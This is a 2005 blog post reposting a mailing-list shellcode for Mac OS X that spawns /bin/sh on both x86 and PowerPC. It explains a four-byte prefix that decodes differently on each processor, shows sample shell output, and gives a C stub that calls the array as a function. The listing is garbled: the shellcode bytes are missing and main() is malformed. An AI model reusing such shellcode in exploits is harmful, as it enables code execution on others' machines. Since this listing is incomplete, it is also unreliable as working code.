Wednesday, November 16, 2005

OSX - multi arch shellcode

according to this post in full-disclosure, this guy ( created a multi-arch (x86 and ppc) shellcode for OSX. I haven't checked it yet, so for all I know, it may not work or do a 'rm -rf /', so beware, don't go running this thing without checking it first.

Note that more than a 'multi arch' shellcode, these are two different shellcodes, which one is executed is decided by the interpretation of the first bytes "\x5f\x90\xeb\x48" by the different processors as explained by the author below.

The link is in mailing list archives, so just in case, here's the shellcode:

--------------------// CODE //--------------------
* -[ dual.c ]-
* by
* execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode
* for osx (both the ppc and x86 version.)
* Sample output:
* -[nemo_at_squee:~/shellcode]$ file dual-ppc
* dual-ppc: Mach-O executable ppc
* -[nemo_at_squee:~/shellcode]$ ./dual-ppc
* sh-2.05b$ exit
* -[nemo_at_squee:~/shellcode]$ file dual-x86
* dual-x86: Mach-O executable i386
* -[nemo_at_squee:~/shellcode]$ ./dual-x86
* sh-2.05b$ exit

char dual[] =
// These four bytes work out to the following instruction
// in ppc arch: "rlwnm r16,r28,r29,13,4", which will
// basically do nothing on osx/ppc.
// However on x86 architecture the four bytes are 3
// instructions:
// "push/nop/jmp"
// In this way, execution will be taken to the x86 shellcode
// on an x86 machine, and the ppc shellcode when running
// on a ppc architecture machine.

// ppc execve() code by b-r00t

// osx86 execve() code by nemo

int main(int ac, char **av)
void (*fp)() = dual;

No comments: